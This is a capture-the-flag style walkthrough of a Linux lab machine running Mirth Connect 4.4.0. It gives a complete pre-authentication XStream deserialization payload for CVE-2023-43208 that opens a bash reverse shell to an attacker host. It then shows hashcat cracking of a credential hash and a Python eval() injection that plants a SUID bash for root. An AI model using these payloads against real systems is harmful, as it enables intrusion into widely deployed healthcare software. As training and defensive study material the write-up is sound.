A Medium-rated Linux machine featuring Mirth Connect 4.4.0 — a healthcare integration platform. The attack chain: exploit a pre-authentication XStream deserialization RCE (CVE-2023-43208), extract database credentials from the Mirth config, crack a PBKDF2 hash to pivot to a user account, then escalate to root by injecting Python code into a Flask service that passes database content to eval().

Enumeration#

Port Scan#

22/tcp   — OpenSSH 9.2p1 Debian
80/tcp   — Jetty (Mirth Connect Administrator)
443/tcp  — Jetty (HTTPS)
6661/tcp — unknown

Port 80/443 serves the Mirth Connect Administrator interface — a healthcare integration engine used for HL7/FHIR message routing.

Version Fingerprint#

curl -sk https://interpreter.htb/api/server/version \
  -H 'X-Requested-With: XMLHttpRequest'
# 4.4.0

Version 4.4.0 is vulnerable to CVE-2023-43208 — a pre-auth RCE via XStream deserialization.

User Flag#

Step 1 — Unauthenticated RCE via CVE-2023-43208#

CVE-2023-43208 exploits an XStream deserialization vulnerability in POST /api/users. The server deserializes XML before checking authentication, allowing any unauthenticated attacker to execute arbitrary commands.

The payload uses XStream’s ProcessBuilder gadget chain:

POST /api/users HTTP/1.1
Host: interpreter.htb
Content-Type: application/xml
X-Requested-With: XMLHttpRequest

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>bash</string>
          <string>-c</string>
          <string>bash -i &gt;&amp; /dev/tcp/LHOST/9001 0&gt;&amp;1</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

This drops a reverse shell as the mirth service user.

Step 2 — Database Credential Extraction#

Mirth Connect stores its configuration in /opt/mirth-connect/conf/mirth.properties with database credentials in plaintext:

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!

Connecting to MariaDB and dumping the user table reveals a PBKDF2-HMAC-SHA256 hash for user sedric with 600,000 iterations.

Step 3 — Hash Cracking & SSH#

hashcat -m 10900 sedric.hash rockyou.txt
# sedric:snowflake1

600K PBKDF2 iterations is slow, but snowflake1 is common enough for rockyou to catch it.

ssh sedric@interpreter.htb
# Password: snowflake1
cat user.txt

Root Flag#

Enumeration#

sedric@interpreter:~$ ss -tlnp
# 127.0.0.1:54321 — local service

sedric@interpreter:~$ ps aux | grep root
# root ... /usr/local/bin/notif.py

A Flask application runs as root on 127.0.0.1:54321. It reads notification preferences from the database and renders them with:

template = row['firstname']  # user-controlled via DB
result = eval(f"f'''{template}'''")

There’s a regex filter on the firstname field: [a-zA-Z0-9._'"(){}=+/]. This blocks semicolons, spaces, commas, and shell metacharacters — but not Python’s import syntax.

Flask eval() Code Injection#

The charset {}()'".=+/ is all you need for a Python expression. The trick is avoiding commas (can’t pass multiple args) — instead, call a script with a single argument.

Create a SUID payload:

echo '#!/bin/bash
cp /bin/bash /tmp/pwn
chmod u+s /tmp/pwn' > /tmp/pwn.sh
chmod +x /tmp/pwn.sh

Inject via the database:

UPDATE PERSON SET FIRSTNAME='{__import__("os").system("/tmp/pwn.sh")}'
WHERE USERNAME='sedric';

Trigger it:

curl http://127.0.0.1:54321/notify
/tmp/pwn -p

The Flask app reads sedric’s firstname, feeds it to eval(f"f'''{template}'''"), which executes __import__('os').system('/tmp/pwn.sh') — creating a SUID copy of bash.

Attack Chain#

Mirth Connect 4.4.0 (Jetty on 80/443)
CVE-2023-43208: XStream deserialization → RCE as mirth
mirth.properties → MariaDB creds (mirthdb:MirthPass123!)
PERSON_PASSWORD table → PBKDF2-HMAC-SHA256 (600K iterations)
hashcat: sedric = snowflake1 → SSH as sedric
Root Flask service with eval(f"f'''{template}'''")
Regex bypass: {__import__('os').system('/tmp/pwn.sh')} → SUID bash → root

Takeaways#

  • CVE-2023-43208 is a well-documented pre-auth RCE in Mirth Connect, widely used in healthcare. If you see Jetty on a healthcare target, check the version via /api/server/version. The fix is upgrading to 4.4.1+.

  • PBKDF2 with high iteration counts is designed to be slow — but if the password is in rockyou, it still falls. Strong hashing needs strong passwords.

  • eval() on database content is a classic code injection pattern. The regex filter creates a false sense of security — __import__() fits comfortably within [a-zA-Z0-9._'"(){}=+/]. Never use eval() on user-controllable data.

  • Internal services running as root are high-value privesc targets. Always check ss -tlnp and ps aux for local-only services after getting a user shell.